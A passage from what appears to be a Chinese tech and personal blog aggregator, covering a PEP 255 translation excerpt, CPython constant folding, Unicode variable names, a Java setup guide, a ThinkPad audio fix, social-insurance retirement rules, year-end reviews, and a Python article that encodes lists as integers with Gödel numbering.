def 留了下来。任何一方都没有任何争论是完全令人信服的,所以我咨询了我的语言设计师的直觉。它告诉我 PEP 中提出的语法是完全正确的——不是太热,也不是太冷。但是,就像希腊神话中的 Delphi(译注:特尔斐,希腊古都) 的甲骨文一样,它并没有告诉我原因,所以我没有对反对此 PEP 语法的论点进行反驳。 我能想出的最好的(除了已经同意做出的反驳)是“FUD”(译注:缩写自 fear、uncertainty 和 doubt)。 如果这从第一天开始就是语言的一部分,我非常怀疑这早已让安德鲁·库奇林(Andrew Kuchling)的“Python Warts”页面成为可能。(译注:wart 是疣,一种难看的皮肤病。这是一个 wiki 页面,列举了对 Python 吹毛求疵的建议)。

参考实现

当前的实现(译注:2001年),处于初步状态(没有文档,但经过充分测试,可靠),是Python 的 CVS 开发树【注释9】的一部分。 使用它需要您从源代码中构建 Python。
这是衍生自 Neil Schemenauer【注释7】的早期补丁。

脚注和参考文献

[1] PEP-234, Iterators, Yee, Van Rossum
[3] PEP-219, Stackless Python, McMillan
[4] “Iteration Abstraction in Sather” Murer, Omohundro, Stoutamire and Szyperski
[6] The concept of iterators is described in PEP 234. See [1] above.
[8] PEP 236, Back to the future, Peters
[9] To experiment with this implementation, check out Python from CVS according to the instructions at http://sf.net/cvs/?group_id=5470 ,Note that the std test Lib/test/test_generators.py contains many examples, including all those in this PEP.

版权信息

本文档已经放置在公共领域。源文档:https://github.com/python/peps/blob/master/pep-0255.txt
(译文完)
PS:官方 PEP 有将近500个,然而保守估计,被翻译成中文的不足20个(去重的情况下)。我好奇,感兴趣将一些重要的 PEP 翻译出来的人有多少呢?现抛此问题出来探探路,欢迎留言交流。

February 15, 2021 12:00 AM

February 12, 2021

pythoncat

Python 优化机制:常量折叠

作者:arprit
译者:豌豆花下猫(“Python猫”公众号作者)
声明:本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
每种编程语言为了表现出色,并且实现卓越的性能,都需要大量编译器级的优化。
一种著名的优化技术是“常量折叠”(Constant Folding):在编译期间,编译器会设法识别出常量表达式,对其进行求值,然后用求值的结果来替换表达式,从而使得运行时更精简。
在本文中,我们深入探讨了什么是常量折叠,了解了它在 Python 世界中的适用范围,最后解读了 Python 的源代码(即 CPython),并分析出 Python 是如何优雅地实现它。

常量折叠

所谓常量折叠,指的是在编译时就查找并计算常量表达式,而不是在运行时再对其进行计算,从而会使运行时更加精简和快速。
>>> day_sec = 24 * 60 * 60
当编译器遇到一个常量表达式时,如上所述,它将对表达式求值,并作替换。
通常而言,表达式会被“抽象语法树”( Abstract Syntax Tree,简写为 AST)中的计算值所替换,但是这完全取决于语言的实现。
因此,上述表达式可以等效地被执行为:
>>> day_sec = 86400

Python 中的常量折叠

在 Python 中,我们可以使用反汇编模块(Disassembler)获取 CPython 字节码,从而更好地了解代码执行的过程。
当使用dis模块反汇编上述常量表达式时,我们会得到以下字节码:
>>> import dis
>>> dis.dis("day_sec = 24 * 60 * 60")

        0 LOAD_CONST               0 (86400)
        2 STORE_NAME               0 (day_sec)
        4 LOAD_CONST               1 (None)
        6 RETURN_VALUE
从字节码中可以看出,它只有一个LOAD_CONST ,以及一个已经计算好的值86400
这表明 CPython 解释器在解析和构建抽象语法树期间,会折叠常量表达式 24 * 60 * 60,并将其替换为计算值 86400。

常量折叠的适应范围

Python 会尝试折叠每一个常量表达式,但在某些情况下,即使该表达式是常量,但是 Python 并不会对其进行折叠。
例如,Python 不会折叠x = 4 ** 64,但会折叠 x = 2 ** 64
除了算术表达式,Python 还会折叠涉及字符串和元组的表达式,其中,长度不超过 4096 的字符串常量表达式会被折叠。
>>> a = "-" * 4096   # folded
>>> a = "-" * 4097   # not folded
>>> a = "--" * 4096  # not folded

常量折叠的内部细节

现在,我们将重点转移到内部的实现细节,即关注 CPython 在哪里以及如何实现常量折叠。
所有的 AST 优化(包括常量折叠)都可以在 ast_opt.c 文件中找到。基本的开始函数是 astfold_expr,它会折叠 Python 源码中包含的所有表达式。
这个函数以递归方式遍历 AST,并试着折叠每个常量表达式,如下面的代码片段所示:
astfold_expr 在折叠某个表达式之前,会尝试折叠其子表达式(操作对象),然后将折叠操作代理给特定的表达式折叠函数。
特定操作的折叠函数对表达式求值,并返回计算后的常数,然后将其放入 AST 中。
例如,每当 astfold_expr 遇到二值运算时,它便调用 fold_binop,递归地计算两个子操作对象(表达式) 。
fold_binop 函数返回计算后的常量值,如下面的代码片段所示:
fold_binop 函数通过检查当前运算符的种类,然后调用其相应的处理函数来折叠二值运算。例如,如果当前的操作是加法运算,为了计算最终值,它会对其左侧和右侧操作数调用 PyNumber_Add。

怎样优雅?

为了有效地折叠某些模式或类型的常量表达式,CPython 不会写特殊的逻辑,而是调用相同的通用代码。例如,在折叠时,它会调用通用的 PyNumber_Add 函数,跟执行常规的加法操作一样。
因此,CPython 通过确保其通用代码/计算过程可以处理常量表达式的求值,从而消除了编写特殊函数来处理常量折叠的需要。

参考材料

February 12, 2021 12:00 AM

February 10, 2021

anji66

thinkpad扬声器没声音

话说这又是一个同事电脑,故障现象是电脑啥都正常,就是扬声器没声音,3.5mm的耳机一切正常。到我手上的时候,同事告诉我在喇叭哑火之前,发生过USB莫名失效的情况。后来经过维修,说是硬盘坏了,换了块固态硬盘。然后USB是好了,喇叭没响了。到我手上开机看了一下,竟然是个繁体版的,区域位置还是呆湾,呆湾也就算了,这系统还切不了区域,没有简体中文,一猜就是呆湾特定版本。


正常思路一,换系统,三下五除二,win10长期服务版,大佬推荐。装完,毛线没解决,该响的还是不响。查设备管理器,一堆惊叹号,windows update,全部驱动完事。emmmm.....该响的还是不响。


正常思路二,声卡驱动有问题,但这不能自圆其说啊,如果声卡驱动有问题,耳机应该也不响才对。先不管了,死马当活马医。卸载声卡驱动,重装,无效。再卸载,去联想官网下载驱动,再装,还是无效。


正常思路三,准备把联想官方驱动全装一遍,因为实在没招了。挨个把联想官方驱动都下载下来,当下到热键的时候,有点意思,联想还把热键做成驱动了,不给我华硕面子啊,说归说,既然是热键,就试试没装官方驱动之前热键正不正常呗,不试不知道,一试吓一跳,典型的热键冲突啊。

01.jpg


柿子先拣软的捏,其它驱动先不装了,先试试这个热键驱动再说。装完驱动,万能重启,得嘞,其它驱动彻底删除,问题解决。


by 西枫里 at February 10, 2021 02:19 PM

January 18, 2021

liyangliang

January 13, 2021

anji66

个人健康管理,刻不容缓

一年一次的体检报告又出来了,看看异常的指标,又要立减肥的flag了,曾经怎么吃也不胖,到结婚当年猛长30斤,到越吃越少,体重缺不见降低。说明了啥,说明了吃啥都不长肉是骗人的,喝凉水都长肉才是真理。哪位大神能告诉我,怎么减肥才有效?管的住嘴,就是迈不开腿。


BMI逼近正常值上限

和2019年比体重是降了,BMI也降了,那是这两个多月已经开始减肥的成果。血压也下来点,所以肯定是瘦点好。

1.jpg


脂肪肝导致肝功能指标异常

谷丙转氨酶比去年还高了,没有超过上限2倍以上,所以排除病毒性肝炎问题,基本上就是脂肪肝引起的肝功损伤。碱性磷酸酶升高,加上B超结论。妥妥的脂肪肝。当然脂肪肝2016年我是重度,2019年是轻中度,今年的报告就直接是脂肪肝了,难道减轻了?

2.jpg


可怕的甘油三酯超标

总胆固醇和甘油三酯超标,俗称三高中的高血脂。仔细一看,握草,甘油三酯已经是上限值的两倍了,新闻上那种一管血半管油差不多就是我这种类型吧?

3.jpg


终检结论

去年6个异常结论,今年8个,再不管控一下,这人怕是要废了。

4.jpg


by 西枫里 at January 13, 2021 02:44 PM

pythoncat

醒醒!Python已经支持中文变量名啦!

最近,我在翻阅两本比较新的 Python 书籍时,发现它们都犯了一个严重的低级错误!
这两本书分别是《Python编程:从入门到实践》和《父与子的编程之旅》,它们都是畅销书,都在 2020 年 10 月出了新版本,都使用 Python3.7+ 版本的语法。
然而,在关于变量的命名规则部分,它们犯下了一样的错误,即还在使用 Python2 时代的那套说辞,误以为命名仅仅支持“字母、数字和下划线”的组合。
事实上,Python3.x 已经支持全面 Unicode 编码,比如支持使用中文作为变量名。
>>> 姓名 ="Python猫"
>>> print(f"我是{姓名},欢迎关注!")
我是Python猫,欢迎关注!
由于我手头上没有其它样本,所以,我不确定有多少新版的书籍还在使用老的规则。但是,翻译类的书籍大概率都会有这样的问题,另外,有些不严谨的国内书籍,也可能因为借鉴了过时的材料而犯错。
如此一来,恐怕有些新接触 Python 的同学,就会形成错误的认识。虽然这可能不会造成严重的问题,但是它终归是一个应该避免而且很容易就能避免的问题。
因此,我觉得这个话题值得聊一聊。
在编程语言中有一个很常见的概念,即标识符(identifier),通常又会称之为名字(name),用于标识出变量、常量、函数、类、符号等实体的名字。
在定义标识符时,有一些必须要考虑的基本规则:
  • 它可以由哪些字符组成?
  • 它是否区分大小写?(即大小写敏感)
  • 它是否允许出现某些特殊的单词?(即关键字/保留字)
对于第一个问题,大多数的编程语言在早期版本都遵循这条规则:标识符由字母、数字和下划线组成,并且不能以数字为开头。 少数的编程语言有例外,还支持使用$、@、%等特殊符号(例如PHP、Ruby、Perl等等)。
Python 的早期版本,确切地说是 3.0 之前的版本,就遵循以上的命名规则。下面是官方文档中的描述:
identifier ::=  (letter|"_") (letter | digit | "_")*
letter     ::=  lowercase | uppercase
lowercase  ::=  "a"..."z"
uppercase  ::=  "A"..."Z"
digit      ::=  "0"..."9"
但是,这条规则从 3.0 版本起,就被打破了。最新的官方文档已经变成了这样:
随着互联网的普及,各国语言进入了国际化的语境中,编程语言也与时俱进地增长了对国际化的诉求。
Unicode(译作统一码、万国码)编码标准在 1994 年发布,随后逐步被主流的编程语言所接纳。到目前为止,至少有 73 种编程语言支持 Unicode 变量名(数据依据:https://rosettacode.org/wiki/Unicode_variable_names)。
2007 年,当 Python 正在设计划时代的 3.0 版本时,官方也考虑了对 Unicode 编码的支持,于是,诞生了重要的《PEP 3131 — Supporting Non-ASCII Identifiers》。
事实上,除了我们最关心的中文,Unicode 字符集还包含非常非常多的内容。
在对变量命名时,下面这些用法都是可行的(谨慎使用,如若被打,本猫概不负责……):
>>> ψ = 1
>>> Δ = 1
>>> ಠ_ಠ = "hello"
综上所述,某些 Python 书籍中关于变量命名规则的内容已经过时了,不应该被其所误导!
Python 3 作为一门面向现代化/国际化的语言,对于 Unicode 编码有很好的支持。至于该不该在项目中使用中文给标识符命名,那就是另外的问题啦……

January 13, 2021 12:00 AM

January 11, 2021

anji66

Hello Java

就为了学个皮毛而已,大佬们不要当真,主要是公司技术栈是Java+Vue,顺便为了考试。


一、安装环境

下载jdk1.8,下载注意下是32位的还是64位的。安装一路下一步就完事了。


二、配置环境变量

三个环境变量需要配置,分别是JAVA_HOME、PATH、CLASS_PATH

JAVA_HOME就是安装路径,例如我的D:\Java\jdk1.8.0_202\

PATH变量中加一项内容,就是安装路径后面的bin目录,因为JAVA_HOME已经定义好了,所有这个可以这样写%JAVA_HOME%\bin\

CLASS_PATH变量就一个点就完事了。

1.jpg

2.jpg

3.jpg

4.jpg


三、测试安装是否成功

cmd中输入三个命令java、javac、 java -version。只要没报错就表示安装成功了

5.jpg

6.jpg

7.jpg


四、第一个java程序Hello World

记事本里面照着例子敲一遍吧。保存为Hello.java文件。文件名与类名要一致。

8.jpg


五、编译并运行一下程序文件

javac命令编译程序文件,没有报错就是成功。编译完成后多了一个Hello.class文件。

运行编译后的文件,java命令加class文件名,不需要后缀。

9.jpg

10.jpg


by 西枫里 at January 11, 2021 02:38 PM

January 03, 2021

anji66

到了退休年龄社保未缴满十五年怎么办?

当然,博主还没到退休年龄,事情确实发生在博主身上,博主父亲2020年已年满60周岁,按照现行政策已经达到法定退休年龄。按博主三代农民身份,在社保缴纳还不严格的时候,博主父亲一直属于农民工身份,很多单位是变着法不缴纳社保的。直到2014年社保趋严,父亲所在单位才帮其按最低基数缴纳了社保。直到退休也才缴纳了6年的社保。


最好是可以补缴?

父亲所在单位在浙江省诸暨市,而户籍在浙江省湖州市。为了帮助父亲搞定这社保后续事宜,分别咨询了诸暨市和湖州市的人社部门,得到了初步的解决方案信息。根据浙江省的政策,社保缴纳不足15年,有几种情况是可以一次性补缴的。1、累计缴满10年,不足15年。2、失地农民。3、退伍军人。4、2011年前国企下岗职工。这四类情况可以在办理退休时一次性补缴剩余年限的。而父亲的情况一个也不满足。


不能补缴,那办延迟退休?

因不满足补缴条件,那最好的办法就是继续缴纳延迟退休。很不幸,父亲在2020年年初从原单位离职了,因此社保断交了。那换个单位或者个人缴费是不是可以继续呢?不巧,父亲在户籍地是没有社保账号的,只有新开账号才能缴费,而已到退休年龄也无法缴纳。这里不完全正确,博主后面就是走的这条路,后文再说。


最糟的办法,退保。

当所有台面上的选项都走不下去的时候,那只有一种办法,就是办理退保手续。社保中的个人缴纳部分是可以退回的。我电话咨询了诸暨市社保局,如果要办理退保就需要本人或代办人前往社保关系所在地去办理,带上身份证、社保卡、户口本三样材料。那天向公司请好假,急匆匆赶回老家,准备带父亲去诸暨跑一趟办理退保手续的。


峰回路转,个人缴纳,延迟退休。

因有事顺道去趟银行,正好在浙江省有一个社银合作项目,也就是在社保局没有直接覆盖的各乡镇,会有社保局的员工派驻在乡镇银行,通常是承接当地社保业务的银行,如农商行、信用联社等。所以就顺道在银行的社保窗口咨询了一下我父亲这种情况。因这情况属实特殊,窗口经办工作人员一时也没办法准确答复我,告知我先在银行办业务,稍后回复我。得益于浙江省最多跑一次改革和一窗受理的行政便利。约莫10分钟后社保窗口告诉我,这种情况可以转为办理灵活就业,然后自行缴费,缴足年限后可正常办理退休。真正是山重水复疑无路,柳暗花明又一村。


准备好材料,办理灵活就业。

还得说回浙江省最多跑一次改革,有一窗受理,一次性告知,一次办妥的机制。准备的材料:身份证、社保证明两项材料。其中社保证明可以在浙江政务服务网上自行拉取。MMP比魔都先进多了,我上次去魔都拉个社保证明,社区服务中心还拉不了,还必须得去区社保中心的自助机上拉。上海的一网通办成色很低。拿好材料就交给银行的社保窗口就好了,剩下都由对方帮忙搞定。


额外内容

1、要办理正常退休,除了养老保险要缴满15年,医疗保险是需要缴满25年的,不过医疗保险不足的部分可以在退休的时候一次性缴清。

2、因父亲还有一份城居保,可以去村委正常办理退休,可以同时享受城居保的退休待遇,等城职保退休时,等于享受了双份退休待遇。

3、因父亲这种情况的补缴方式,医保可以往前一次性补缴十年的,有个好处是因为保险基数年年涨,等缴足年份的时候,一次性补缴的基数相对较高,往前补缴是按目前基数缴纳的。有个坏处是这个往前补缴的十年,医保是没有个账划入的。啥是个账就不解释了。


全文完,希望给有类似需求的童鞋有帮助。


by 西枫里 at January 03, 2021 01:38 PM

January 01, 2021

pythoncat

2020年Python文章盘点,我选出了个人TOP10

大家好,我是猫哥。2020年过得真快啊!总感觉这一年里还没有做成多少事,一眨眼就又到了写年度总结的时候了……
去年1月1日的时候,我写了《我的 2019 年 Python 文章榜单》,简单列了自己比较满意的 11 篇文章。今年延续传统,我想盘点出一份 2020 年的文章榜单。
在列榜单之前,我们先来闲聊几件事,作为铺垫吧。
1、公众号订阅数破 20000 啦! 就在 2020 年结束前的两天,Python猫的订阅数终于迈上了新的台阶。从 2018 年国庆到现在,我们共花了 26 个月。
这个成绩非常非常普通,当初我第一次参加公众号互推时,认识了明哥(@Python编程时光)、小帅B(@学习Python的正确姿势)和涛哥(@涛哥聊Python),当时大家差别不太多(一起出新手村),而如今他们的订阅数达到了 4万、6万和10万,把我远远甩在了身后……
2021年,我会花适当的精力在运营上,不敢奢望太多,争取明年达成 3.5 万目标。因此,希望能得到大家的持续支持,请帮忙分享、转载、在看,推荐Python猫给其他学习者。我在此鞠躬感谢了!
2、被评选为“优质原创号主”第2名。 在猪哥(@裸睡的猪)建的Python原创作者投稿群里,Python猫有幸被票选成了第2名!能够被众多优秀的同行号主们认可,真是难得而且荣幸!
3、有文章被国际友人翻译了。 去年7月份的时候,我偶然发现自己的 3 篇“Python为什么”系列文章被一个印度人翻译成了英文,当时写了一篇《当我发现国际友人翻译了我的文章之后…… 》说明了原由。然而,意想不到的惊喜发生了,其中一篇文章竟被发上了 PyCoder’s Weekly,而且还被CSDN的作者翻译成了中文!真是太戏剧化了!
那篇文章是《Python 为什么没有 main 函数?为什么我不推荐写 main 函数?》,在国内个平台上也引发了不少的讨论。我其实是有的放矢的,但行文比较精简没有充分展开。有一些反驳声是误读,还有一些则没有驳到点上。那篇文章体现了我对优雅代码的感觉,有一种锐意思考的闪光,我个人非常满意。
4、短暂的视频UP主尝试。 我去年尝试制作了几期短视频,其实是念稿录音+PPT式图文剪辑而成的。一开始的目标是60秒短视频,但后来发现想表达的内容太多,这个时长完全不够。但是,更长的视频则意味着更大的工作量,所以我干脆暂时放弃了。已发布的视频在B站有,欢迎大家去观摩指导,地址:https://space.bilibili.com/97566624/video
5、整理了一本电子书。 我整理了过往的文章,编成了一本电子书,还美其名为《优雅的Python》(可在Python猫后台发送数字“1”领取。《耗时两年,我终于出了一本电子书!》里有内容介绍)。很大的动因是学习其他号主,用来给自己引流。但是,陆续收到了几名读者正向的反馈后,我觉得这件事还是蛮有价值的。
陆续有出版社的编辑来联系出书,我很惶恐,都婉拒了。我知道有些文章还不错,但是离出书还远着呢,不想去误人子弟。(PS.正在跟某编辑合作,但跟自己出书有所不同。以后详说。)
6、在苏州买了首套房。 去年办成了一件大事,就是在苏州园区买了房,成为了“房奴”。不用说,家庭生活的压力大了很多,而且被催生娃的压力也大增了……人的年龄到了某个阶段,家庭的责任可能促使你做出重大的抉择。我觉得在做成这件事后,自己的内心世界成熟了很多。
因此,需要给读者们打个预防针:Python猫以后“恰饭”的时候会适当变多,我觉得发挥自己写作的特长,适当地挣点钱,这件事很光荣,所以希望大家也适当地包容理解哈~~~
闲聊先到此为止,下面是文章梳理时刻。
在过去一年里,猫哥原创及翻译了 Python 技术文 62 篇,总被转载次数达到了 500+。
我的兴趣主要集中在 Python 语法、技术原理、进阶思考、文章翻译等内容,大部分文章是比较小众的,阅读量也十分惨淡。
幸运的是,有几篇文章成为了小爆款,阅读量还挺可观的。从受众喜爱的维度看,下面这些文章的效果很好:
【01】Python 为什么推荐蛇形命名法? —(被转载32次,转载阅读量达8万+)
【02】Python 为什么要有 pass 语句? —(被转载32次,转载阅读量达5万+)
【03】Python 之父为什么嫌弃 lambda 匿名函数? — —(被转载25次,转载阅读量达3万+)
【04】你可能不知道的 Python 技巧 —(被转载24次,转载阅读量达1.7万+)
【05】Python 为什么不支持 switch 语句? —(被转载20次,转载阅读量达1.3万+)
但是,依我个人喜爱度选择的话,我列出的TOP10榜单是这些(按时间排序):
这里面有几篇是出自“Python为什么”系列,该系列还有一些文章也不错,全部归档在 Github 上了,大家可以去那里查阅:https://github.com/chinesehuazhou/python-whydo
在新的一年里,我写作的主体方向基本不会变,也许会增加一些偏基础向的内容,让自己更接地气一些。同时,PEP和社区好文的翻译工作,也会偶尔做做。
Flag不敢随便立,但管继续求知与分享,但求无愧于心!
最后,我把2020全年的文章罗列出来了,按照的是时间顺序:

January 01, 2021 12:00 AM

December 30, 2020

chengweiyang

2020 目标总结

始于对于新冠的恐慌的 2020 年终于完结了,虽然恐慌减轻了,但是新冠还在肆虐。

年初定了 3 个 flag:

  • 读书 40 本
  • 纪录片 100 集
  • 跑步 350KM

实际完成情况如下:

  • 读书:看完 49 本 + 2 本在读中
  • 纪录片:215 集
  • 跑步:191KM

先来说下跑步吧,明显没达标,反而比 2019 年还少些了,本来以为要更多,新冠是一部分,但不是主要因素, 2019 年主要是晚上等娃睡了出去跑步,2020 年娃睡的越来越晚了,晚上再出去不太现实了,主要是周末出去跑步; 2021 年得想想什么时间了。目标暂定 200KM,看起来能达成的可能性更大点。

再来说说纪录片,看纪录片的目标很容易就达到了,由于新冠过年没法回老家,天天只能窝在家,看纪录片; 所以,基本上有一半是春节期间看的。

看的纪录片主要分几类:

  • 自然类,例如:《恐龙星球》《大猫》《群山:云端生活》《BBC 奇迹系列》《BBC 野性系列》《冰冻星球》《地球脉动》《七个世界一个星球》《从太空看地球》《航拍中国》《航拍世界》《鸟瞰世界》
  • 人文类,例如:《超级工程系列》《革新:改变世界的发明》《面孔:20 世纪传奇人物》《人类:我们的故事》《我们:美国的故事》《切尔诺贝利》《金钱崛起》

最后说说看书的情况,如果大家都觉得挤不出看书的时间,我都是有一个小窍门:每天早上提前半小时到公司,看半小时;然后其它时间就靠自觉了,其实时间还是有的, 主要是要和其它 app 抢时间,例如:网易新闻,知乎之类的;2020 年年底居然买了知乎会员,主要是在看回答中,知乎推荐了一个馒头大师写中国当年在安理会上连投 16 轮否决票的历史; 买完后,迅速看完馒头大师的那本书,对于业余爱好者,真是一本不错增加历史知识,增加谈资的书。

简单按类别划分下比较好的书:

  • 历史人文类:《美国成长三部曲》《文明的故事》(只看完前三册,太长了,不利于完成 flag,哈哈,以后心态正了再继续),《致暗时刻》《政治秩序的起源》《激荡十年》《激荡三十年》《美国种族简史》《美国陷进》《人类群星闪耀时》《美国的故事系列》《历史的细节5》
  • 科技类:《硅谷百年史》《马斯克传》(可惜了,股票居然没拿住,信仰不够,在低谷期持了 2 年,涨前 2 个月卖光了,否则买车也不用自己花钱了)《太空全书》《深度学习推荐系统》《失控》《计算广告》
  • 软技能:《基业长青》《从优秀到卓越》《原则》《一生的旅程》《傅雷家书》《采访实录》《只有偏执狂才能生存》(遗憾当年在英特尔的时候没看)
  • 疫情类:《血疫:埃博拉的故事》《疫苗的史诗》《钟南山传》

读书,看纪录片,越来越觉得自己的渺小。

我的理想是什么?能为社会做什么贡献?

从 2018 年就开始问自己这个问题,至今还未有答案。

希望找到答案的时候不算太晚。

明年的目标是什么?先拍脑袋:

  • 读书 40 本
  • 纪录片 200 集
  • 跑步 200KM

最后祝大家元旦快乐,新年快乐。

December 30, 2020 04:00 PM

December 22, 2020

pythoncat

脑洞:如何用一个整数来表示一个列表?

作者 | Computer Wit
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 本翻译已得到原作者授权。为便于阅读,内容略有改动。

概要

与 C、Rust 和 Go 不同,Python 默认的int 具有任意大小。[注1][注2]
这意味着,一个整数可以存储无限大的值,只要内存足够。
例如,你可以打开 Python3 并运行以下命令:
>>> import math
>>> math.factorial(2020)
[number omitted]  # Python猫注:此处求2020的阶乘,结果是一长串数字,所以省略
>>> math.log2(math.factorial(2020))
19272.453841606068
>>> type(math.factorial(2020))
<class 'int'>
也就是说,在 Python 中,平常使用的 int 可以轻松地保存一个占用 19273 比特的 C 类型固定大小无符号 int 类型的值(C-style fixed-size unsigned int )。在 Python 这样的语言中,便利性高于速度和内存效率,这确实很有用。
这种无限的精度,也意味着我们可以在单个 int 中存储任意数量的信息。只要编码正确,一整本书、一整个数据库、甚至任何东西,都可以被存入一个单独的 Python int 中。
(Python猫注:这有一篇文章 ,深度剖析了 Python 整型不会溢出的实现原理,可作关联阅读)
因此,我们可以设想出一种 Python 的方言,它只有整型,需要用 int 表示其它所有的类型(字典、列表、等等)。我们还有一些特殊的函数和方法,可以将 int 视为 list 、dict 等等。
这将会是一个有趣而好玩的练习,而这就是本文想要做的事。
有一个显而易见的实现方法:所有数据结构只是内存中的位数组(bit-arrays)。最坏的情况下,它是一组相关的位数组(例如,像链表或树中的每个节点),并且它们的集合也只是位数组。位数组可以被解释为二进制数。所以我们必然能这样做。但这有点无聊。
在本博文以及本系列的后续博文中,我将介绍一些用 int 来表示复杂数据结构的方法。它们不一定是最紧凑、最合理或最有效的,其共同的目标是找到这些数据结构的有趣的表示方式。[注3]

哥德尔数(Gödel numbering)简介

我们要表示的第一个数据结构是 list。我们将使用以逻辑学家 KurtGödel 命名的Gödel数。为了方便起见,我们仅处理由无符号整数(即自然数)组成的列表。
哥德尔数的原理是令每个大于 1 的自然数都用唯一的质数分解来表示。它依据的是算术的基本定理
(Python猫注:质数分解,即 prime factorization,又译作质因数分解、素因子分解等,指的是把每个数都写成用质数相乘的形式)
看一些例子:
一个数字可以通过其质因子(prime factors )的指数列表来唯一标识(直到其最高位的非零指数)。所以,我们可以用 126 来表示列表[1, 2, 0, 1] 。列表中的第一个数字是 126 作质数分解后 2 的指数,第二个数是 3 的指数,依此类推。
再来几个例子:
如果列表末尾有 0 ,该怎么办呢?好吧,基于这样的编码,不会出现这种情况。
在我们的质数分解中,指数为 0 的质数可能有无限个,因此我们需要停在某个地方。[注4] 我们选择在最后一个非零指数处停止。
当列表中包含较大的数字时,这种表示形式也会使用非常大的数字。那是因为列表中的数字表示的是指数,所以 int 的大小与它们成指数增长。例如,[50, 1000, 250] 需要使用大小为 2266 比特的数字表示。
另一方面,相比于其它用 int 编码的列表,那些包含非常多小整数的长列表,尤其是大型稀疏列表(即大部分的值都为 0),则拥有非常紧凑的表示形式。
提醒一下,将 list 编码为 int,这不是很好的编程实践,仅仅是一个好玩的实验。

Python实现

让我们看一下 Python 的实现。这里有几点注意事项:
  1. 我们会使用带有 yield 的函数,因为它极大地简化了操作。[注5]
  2. 你会看到大量的 while 循环。这是因为列表生成式、range 和大多数你打算在 for 循环中使用的东西,都被禁止用在只有 int 类型的方言中。所有这些都被 while 循环替代了。

质数生成器

我们要编写的第一个函数是一个迭代器,它将按顺序生成质数。它从头到尾都很关键。这里的实现是最简单可行的版本。
我可能很快会写一篇完整的关于生成质数的算法的文章,因为这是一个很酷的话题,本身也是一个古老的研究领域。最广为人知的算法是爱拉托逊斯筛法(Sieve of Erathosthenes ),但这只是冰山一角。[注6]
在这里,一个非常幼稚的实现就够了:
def primes(starting: int = 2):
    """Yield the primes in order.
     
    Args:
        starting: sets the minimum number to consider.
     
    Note: `starting` can be used to get all prime numbers
    _larger_ than some number. By default it doesn't skip
    any candidate primes.
    """
    candidate_prime = starting
    while True:
        candidate_factor = 2
        is_prime = True
        # We'll try all the numbers between 2 and
        # candidate_prime / 2. If any of them divide
        # our candidate_prime, then it's not a prime!
        while candidate_factor <= candidate_prime // 2:
            if candidate_prime % candidate_factor == 0:
                is_prime = False
                break
            candidate_factor += 1
        if is_prime:
            yield candidate_prime
        candidate_prime += 1

创建空列表

def empty_list() -> int:
    """Create a new empty list."""
    # 1 is the empty list. It isn't divisible by any prime.
    return 1

遍历元素

def iter_list(l: int):
    """Yields elements in the list, from first to last."""
    # We go through each prime in order. The next value of
    # the list is equal to the number of times the list is
    # divisible by the prime.
    for p in primes():
        # We decided we will have no trailing 0s, so when
        # the list is 1, it's over.
        if l <= 1:
            break
        # Count the number of divisions until the list is
        # not divisible by the prime number.
        num_divisions = 0
        while l % p == 0:
            num_divisions += 1
            l = l // p  # could be / as well
        yield num_divisions

访问元素

def access(l: int, i: int) -> int:
    """Return i-th element of l."""
    # First we iterate over all primes until we get to the
    # ith prime.
    j = 0
    for p in primes():
        if j == i:
            ith_prime = p
            break
        j += 1
    # Now we divide the list by the ith-prime until we
    # cant divide it no more.
    num_divisions = 0
    while l % ith_prime == 0:
        num_divisions += 1
        l = l // ith_prime
    return num_divisions

添加元素

def append(l: int, elem: int) -> int:
    # The first step is finding the largest prime factor.
    # We look at all primes until l.
    # The next prime after the last prime factor is going
    # to be the base we need to use to append.
    # E.g. if the list if 18 -> 2**1 * 3**2 -> [1, 2]
    # then the largest prime factor is 3, and we will
    # multiply by the _next_ prime factor to some power to
    # append to the list.
    last_prime_factor = 1  # Just a placeholder
    for p in primes():
        if p > l:
            break
        if l % p == 0:
            last_prime_factor = p
    # Now get the _next_ prime after the last in the list.
    for p in primes(starting=last_prime_factor + 1):
        next_prime = p
        break
    # Now finally we append an item by multiplying the list
    # by the next prime to the `elem` power.
    return l * next_prime ** elem

试用这些函数

你可以打开一个 Python、iPython 或 bPython会话,并试试这些函数!
建议列表元素使用从 1 到 10 之间的数字。如果使用比较大的数字,则 append 和 access 可能会花费很长时间。
从某种程度上说,使用哥德尔数来表示列表并不实用,尽管可以通过优化质数生成及分解算法,来极大地扩大可用数值的范围。
In [16]: l = empty_list()
 
In [17]: l = append(l, 2)
 
In [18]: l = append(l, 5)
 
In [19]: list(iter_list(l))
Out[19]: [2, 5]
 
In [20]: access(l, 0)
Out[20]: 2
 
In [21]: access(l, 1)
Out[21]: 5
 
In [22]: l
Out[22]: 972  # Python猫注:2^2*3^5=972

其它 int 编码

我们看到了一种将自然数列表表示为 int 的方法。还有其它更实用的方法,这些方法依赖于将数字的二进制形式细分为大小不一的块。我相信你可以提出这样的建议。
我以后可能会写其它文章,介绍更好的用于生成和分解质数的算法,以及其它复杂数据结构的 int 表示形式。

脚注

  1. 我认为在内存不足之前,程序也会出现中断,但是文档确实明确地提到它们具有无限的精度
  2. 请注意,对于 Python3,这是正确的,但对于 Python2 则不然。对于 Python2,int 是固定大小的。我认为在 2020 年用 Python 指代 Python3 是没问题的,但我也认为这个细节值得加一条脚注。
  3. 对于用哥德尔数表示列表,这很容易被反驳说是一种糟糕的表示形式。在后续的博文中,我们会讨论有关表示形式的权衡问题。
  4. 我们可以将列表的长度存储在单独的 int 中,据此知道要在列表末尾考虑多少个 0。(猫注:还有几句话没看懂,不译)If we don’t want to have a whole separate int, we can always write the length of the list as the exponent of 2 and start the actual list with the exponent of 3. This has some redundant information, though. The way to avoid redundant information is to store the number of final 0s in the list, instead of the entire length. We won’t be worrying about any of this, though.
  5. 请注意,跟使用 return 并将状态变量作为参数相比,使用 yield 没有区别(通常足以获得最后一个返回的元素)。这有点像 Continuation Passing Style。也类似于平常的使非尾递归函数尾递归的累加器。如果你从未听说过累加器技巧,这里有一些链接[1][2] 。我未来可能会在没有它们的语言中,写模仿迭代器的东西。
  6. 另请参见《 The Genuine Sieve of Erathosthenes》论文,它澄清了这一算法是如何被定义的。
